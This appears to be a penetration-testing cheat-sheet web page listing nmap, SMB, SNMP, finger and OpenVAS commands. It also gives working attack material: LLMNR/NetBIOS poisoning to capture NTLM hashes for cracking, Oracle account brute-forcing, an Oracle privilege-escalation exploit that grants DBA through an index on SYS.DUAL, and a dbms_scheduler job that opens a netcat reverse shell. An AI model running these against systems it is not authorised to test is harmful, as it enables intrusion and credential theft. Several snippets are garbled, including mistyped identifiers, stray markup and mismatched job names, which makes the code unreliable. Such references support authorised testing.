What is IP Address

What is a Firewall

Penetration testing tools cheat sheet, a quick reference high level overview for typical penetration testing engagements. Designed as a quick reference cheat sheet providing a high level overview of the typical commands you would run when performing a penetration test. For more in depth information I’d recommend the man file for the tool or a more specific pen testing cheat sheet from the menu on the right.

The focus of this cheat sheet is infrastructure / network penetration testing, web application penetration testing is not covered here apart from a few sqlmap commands at the end and some web server enumeration. For Web Application Penetration Testing, check out the Web Application Hackers Hand Book, it is excellent for both learning and reference.

Pre-engagement

Network Configuration

Set IP Address

ifconfig eth0 xxx.xxx.xxx.xxx/24

Subnetting

ipcalc xxx.xxx.xxx.xxx/24

 ipcalc xxx.xxx.xxx.xxx 255.255.255.0 

OSINT

Windows DNS zone transfer
dig axfr blah.com @ns1.blah.com
Linux DNS zone transfer

 

Email

Simply Email

Use Simply Email to enumerate all the online places (github, target site etc), it works better if you use proxies or set long throttle times so google doesn’t think you’re a robot and make you fill out a Captcha.

git clone https://github.com/killswitch-GUI/SimplyEmail.git ./SimplyEmail.py -all -e TARGET-DOMAIN

Simply Email can verify the discovered email addresss after gathering.

Semi Active Information Gathering

Port Scanning

Nmap Commands

For more commands, see the Nmap cheat sheet (link in the menu on the right).

Basic Nmap Commands:
ls /usr/share/nmap/scripts/* | grep ftp

Search nmap scripts for keywords

Command Description
nmap -v -sS -A -T4 target Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services
nmap -v -sS -p--A -T4 target As above but scans all TCP ports (takes a lot longer)
nmap -v -sU -sS -p- -A -T4 target As above but scans all TCP ports and UDP scan (takes even longer)
nmap -v -p 445 --script=smb-check-vulns
--script-args=unsafe=1 192.168.1.X
Nmap script to scan for vulnerable SMB servers – WARNING: unsafe=1 may cause knockover

Don’t use T4 commands on external pen tests (when using an Internet connection), you’re probably better off using a T2 with a TCP connect scan. A T4 scan would likely be better suited for an internal pen test, over low latency links with plenty of bandwidth. But it all depends on the target devices, embeded devices are going to struggle if you T4 / T5 them and give inconclusive results. As a general rule of thumb, scan as slowly as you can, or do a fast scan for the top 1000 so you can start pen testing then kick off a slower scan.

Nmap UDP Scanning

nmap -sU TARGET

UDP Protocol Scanner

git clone https://github.com/portcullislabs/udp-proto-scanner.git

Scan a file of IP addresses for all services:

./udp-protocol-scanner.pl -f ip.txt

Scan for a specific UDP service:

udp-proto-scanner.pl -p ntp -f ips.txt
Other Host Discovery

Other methods of host discovery, that don’t use nmap

Command Description
netdiscover -r 192.168.1.0/24 Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you’re on the right VLAN at $client site

 

Enumeration & Attacking Network Services

Penetration testing tools that spefically identify and / or enumerate network services:

SAMB / SMB / Windows Domain Enumeration

Samba Enumeration

Steal credentials off the network.

Metasploit LLMNR / NetBIOS requests

Spoof / poison LLMNR / NetBIOS requests:

auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response

Capture the hashes:

auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm

You’ll end up with NTLMv2 hash, use john or hashcat to crack it.

Responder.py

Alternatively you can use responder.

git clone https://github.com/SpiderLabs/Responder.git
python Responder.py -i local-ip -I eth0

SNMP Enumeration Tools

A number of SNMP enumeration tools.

Rory McCune’s snmpwalk wrapper script helps automate the username enumeration process for SNMPv3:

apt-get install snmp snmp-mibs-downloader
wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

Metasploit RSH Login Scanner
auxiliary/scanner/rservices/rsh_login
rusers Show Logged in Users
rusers -al 192.168.2.1
rusers scan whole Subnet
rlogin -l <user> <target>

e.g rlogin -l root TARGET-SUBNET/24

Finger Enumeration

finger @TARGET-IP

Finger a Specific Username

finger batman@TARGET-IP 

Solaris bug that shows all logged in users:

finger 0@host  

SunOS: RPC services allow user enum:
$ rusers # users logged onto LAN

finger 'a b c d e f g h'@sunhost 

rwho

Use nmap to identify machines running rwhod (513 UDP)

TLS & SSL Testing

Vulnerability Assessment

Install OpenVAS 8 on Kali Rolling:

apt-get update
apt-get dist-upgrade -y
apt-get install openvas
openvas-setup

Verify openvas is running using:

netstat -tulpn

Login at https://127.0.0.1:9392 – credentials are generated during openvas-setup.

Database Penetration Testing

Attacking database servers exposed on the network.

Oracle

Install oscanner:

apt-get install oscanner  

Run oscanner:

oscanner -s 192.168.1.200 -P 1521 

Fingerprint Oracle TNS Version

Install tnscmd10g:

apt-get install tnscmd10g

Fingerprint oracle tns:

tnscmd10g version -h TARGET
nmap --script=oracle-tns-version 

Brute force oracle user accounts

Identify default Oracle accounts:

 nmap --script=oracle-sid-brute 
 nmap --script=oracle-brute 

Run nmap scripts against Oracle TNS:

nmap -p 1521 -A TARGET

Oracle Privilege Escalation

Requirements:

  • Oracle needs to be exposed on the network
  • A default account is in use like scott

Quick overview of how this works:

  1. Create the function
  2. Create an index on table SYS.DUAL
  3. The index we just created executes our function SCOTT.DBA_X
  4. The function will be executed by SYS user (as that’s the user that owns the table).
  5. Create an account with DBA priveleges

In the example below the user SCOTT is used but this should be possible with another default Oracle account.

Identify default accounts within oracle db using NMAP NSE scripts:
nmap --script=oracle-sid-brute 
nmap --script=oracle-brute 

Login using the identified weak account (assuming you find one).

How to identify the current privilege level for an oracle user:
SQL> select * from session_privs; 

SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authid 
curren_user is 
pragma autonomous_transaction; 
begin 
execute immediate 'grant dba to user1 identified by pass1';
commit;
return 'FOO';
end;
Oracle priv esc and obtain DBA access:

Run netcat: netcat -nvlp 443code>

SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA('BAR'));
Run the exploit with a select query:
SQL> Select * from session_privs; 

You should have a DBA user with creds user1 and pass1.

Verify you have DBA privileges by re-running the first command again.

Remove the exploit using:
drop index exploit_1337; 
Get Oracle Reverse os-shell:
begin
dbms_scheduler.create_job( job_name    => 'MEH1337',job_type    =>
    'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date =>
    SYSTIMESTAMP,enabled    => FALSE,auto_drop => TRUE); 
dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');
dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');
dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');
dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');
dbms_scheduler.enable('rev_shell'); 
end;
